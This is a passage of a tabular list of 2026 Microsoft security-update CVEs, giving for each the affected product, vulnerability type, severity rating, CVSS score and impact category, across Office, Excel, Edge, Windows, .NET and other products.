CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  